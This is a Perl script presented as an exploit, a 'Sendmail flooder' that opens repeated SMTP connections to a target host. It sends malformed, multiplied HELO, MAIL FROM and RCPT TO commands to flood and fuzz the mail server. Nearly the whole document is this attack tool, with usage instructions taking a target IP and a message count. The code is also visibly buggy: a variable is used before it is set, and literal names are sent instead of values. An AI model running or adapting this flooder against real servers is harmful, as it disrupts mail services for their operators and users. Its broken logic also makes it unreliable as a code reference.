##!usr/bin/perl -w ######################################################## ###### ###### This Script Is Written Against SendMail Inability ###### To Control The Attack.Enumeration Of RCPT To ###### Is Still Possible Even If The Sendmail Services ###### protected By A [FIREWALL SMTP PROXY]. ###### ######################################################## ###### Exploiting This Vulnerability To Write MailShred ######################################################## ############# SENDMAIL FLOODER .::SnMShred::. printf STDOUT "\t\t----===SENDMAIL FLOODER===------\n"; printf STDOUT "\t\t----[ JUNK MAIL SHREDDER ]----\n"; printf STDOUT "\t\t--=[ PROTOCOL FUZZED - SMTP]=--\n\n\n"; printf STDOUT "[ VULNERABILITY CONCEPT ]\n"; printf STDOUT "[ SENDMAIL Inability To Handle Fake Attack ]\n"; printf STDOUT "[ SENDMAIL Services Protected By Firewall Are Too Vulnerable ]\n"; printf STDOUT "[ SMTP proxy -> SMTP FIX Up Within CISCO PIX ]\n"; printf STDOUT "[ Work Well On SMTP Server Hosted On Windows ]\n\n"; printf STDOUT "[*] SnmShred.::Sendmail Junk Shredder::.By ZeroKnock\@Linuxmail\.org\n\n"; use Net::Telnet; print "\t\t----===SHREDDER===-----\n"; $ARGC=@ARGV; if ( not $ARGV[2] ) { print qq~ [*] Usage:- SnmShred Sendmail Server Host. Specific Mail:Vulnerability Based Mail Type A = Junk Mail Manipulated With FROM TO Field. Mail Type B = Junk Mail Manipulated With RCPT TO Field. Mail Type C = Junk Mail Manipulated For Both RCPT TO And FROM TO. Mail Type D = Simple Mail. [JUNKED STUFF] Mail Type E = UnRecognised Command Mail Type F = Help Manipulation. Mail Type G = Domain Manipulation. Number Of Mails To Sent. Example:- [*] SnmShred 192.168.170.1 A 1000 ~; exit; } use Net::Ping; print "[+] Pinging Mail Server!\n"; $p = Net::Ping->new() or die "[-] Ping Not Successfull$!\n"; print "[+] Mail Server Is Up.\n\n" unless $p->ping($Remote_Target); $p->close; $Remote_Target=$ARGV[0]; $Mail_Type = $ARGV[1]; $Mail_Hit =$ARGV[2]; $Sendmail_Port="25"; $Helo =""; $Mail_From =""; $Rcpt_To =""; print "[+] Connecting...\n\n\n"; for ($Ret=1 ; $Ret <= $Mail_Hit ; $Ret++) { $Connect_Object=Net::Telnet->new( Host => "$Remote_Target",Port => 25 ); if($Mail_Type =~ "A") { $Helo="helo root"; $Mail_From="mail from: ZeroDay\@Zero\.Com" x $Ret; $Rcpt_To="rcpt to: root"; } if($Mail_Type =~ "B") { $Helo="helo root"; $Mail_From="mail from: ZeroDay\@Zero\.Com"; $Rcpt_To="rcpt to: root" x $Ret; } if($Mail_Type =~ "C") { $Helo="helo root"; $Mail_From="mail from: ZeroDay\@Zero\.Com" x $Ret; $Rcpt_To="rcpt to: root" x $Ret; } if($Mail_Type =~ "D") { $Helo="helo root"; $Mail_From="mail from: ZeroDay\@Zero\.Com"; $Rcpt_To="rcpt to: root"; } if($Mail_Type =~ "E") { $Helo="Fucked Off" x $Ret } if($Mail_Type =~ "F") { $Helo="help" x $Ret; } if($Mail_Type =~ "G") { $Helo="helo root" x $Ret; $Mail_From="mail from: ZeroDay\@Zero\.Com" ; $Rcpt_To="rcpt to: ZeroDay\@Zero\.com"; } printf STDOUT "$Helo\n"; $Connect_Object->print("$Helo"); printf STDOUT "$Mail_From\n"; $Connect_Object->print("Mail_From"); printf STDOUT "$Rcpt_To\n"; $Connect_Object->print("Rcpt_To"); $Connect_Object->close; }